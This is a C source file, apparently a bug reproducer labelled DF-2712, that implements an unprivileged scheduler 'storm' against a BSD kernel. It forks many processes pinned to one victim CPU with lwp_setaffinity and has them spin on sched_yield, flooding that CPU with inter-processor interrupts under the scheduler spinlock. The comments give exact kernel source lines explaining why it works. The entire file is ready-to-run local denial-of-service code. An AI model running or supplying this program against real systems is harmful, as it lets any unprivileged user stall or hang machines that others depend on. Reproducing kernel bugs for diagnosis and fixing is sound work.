DF-2712 / df2712_storm2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | /* * df2712_storm2.c -- unprivileged pinned-thread scheduler storm for DF-2712. * * Usage: df2712_storm2 <victim_cpu> <n_victim> <n_sender> <seconds> * * Unprivileged primitives: * - lwp_setaffinity(0, -1, mask) -- ALWAYS allowed for self * (kern_usched.c:423 "Always allow change self CPU affinity", * caps check skipped when pid==0), syscall #544. * - sched_yield() -- drives need_user_resched -> acquire -> release -> * bsd4_select_curproc -> bsd4_chooseproc_locked_cache_coherent under * bsd4_spin. * * Storm shape: * n_victim processes pin themselves to victim_cpu only and tight-yield. * Their lwps are permanently runnable with lwp_cpumask excluding every * other cpu, so every OTHER cpu's chooseproc_cc scan fails the * CPUMASK_TESTMASK at usched_bsd4.c:1484 on those entries and calls * bsd4_kick_helper -> lwkt_send_ipiq(victim) UNDER bsd4_spin (:1611), * up to queue_checks (default 5) times per scan. * n_sender processes pin themselves round-robin to the other cpus and * tight-yield: constant chooseproc scans (kick generators) and * constant bsd4_spin contention (spin-waiter role for the victim). * * Prints "STORM2-DONE ..." on survival. */ #include <sys/types.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <time.h> #include <sched.h> #include <errno.h> #define SYS_lwp_setaffinity 544 static double now(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec + ts.tv_nsec / 1e9; } static int pin_to_cpu(int cpu) { unsigned long mask = 1UL << cpu; return syscall(SYS_lwp_setaffinity, 0, -1, &mask); } static void worker(int cpu, long secs, double t0) { volatile unsigned long n = 0; if (pin_to_cpu(cpu) < 0) { /* stay unpinned; run anyway */ } while (now() - t0 < secs) n += sched_yield(); _exit(0); } int main(int argc, char **argv) { int vcpu = 5, ncpu = 6; long nvic = 180, nsend = 60, secs = 60; long i, ok = 0, bad = 0; pid_t pid; double t0; size_t sz = sizeof(ncpu); if (argc > 1) vcpu = atoi(argv[1]); if (argc > 2) nvic = atol(argv[2]); if (argc > 3) nsend = atol(argv[3]); if (argc > 4) secs = atol(argv[4]); sysctlbyname("hw.ncpu", &ncpu, &sz, NULL, 0); if (vcpu >= ncpu) vcpu = ncpu - 1; t0 = now(); for (i = 0; i < nvic; ++i) { pid = fork(); if (pid == 0) worker(vcpu, secs, t0); if (pid < 0) break; } for (i = 0; i < nsend; ++i) { int c, k = 0; /* round-robin over the non-victim cpus */ for (c = 0; c < ncpu && k <= i; ++k, c = (c + 1) % ncpu) if (c == vcpu) c = (c + 1) % ncpu; c = (i % (ncpu - 1)); if (c >= vcpu) ++c; pid = fork(); if (pid == 0) worker(c, secs, t0); if (pid < 0) break; } for (i = 0; i < nvic + nsend; ++i) { int st = 0; if (wait(&st) < 0) { if (errno == EINTR) { --i; continue; } break; } if (WIFEXITED(st) && WEXITSTATUS(st) == 0) ++ok; else ++bad; } printf("STORM2-DONE vcpu=%d nvic=%ld nsend=%ld ok=%ld bad=%ld secs=%ld\n", vcpu, nvic, nsend, ok, bad, secs); return (bad != 0); } |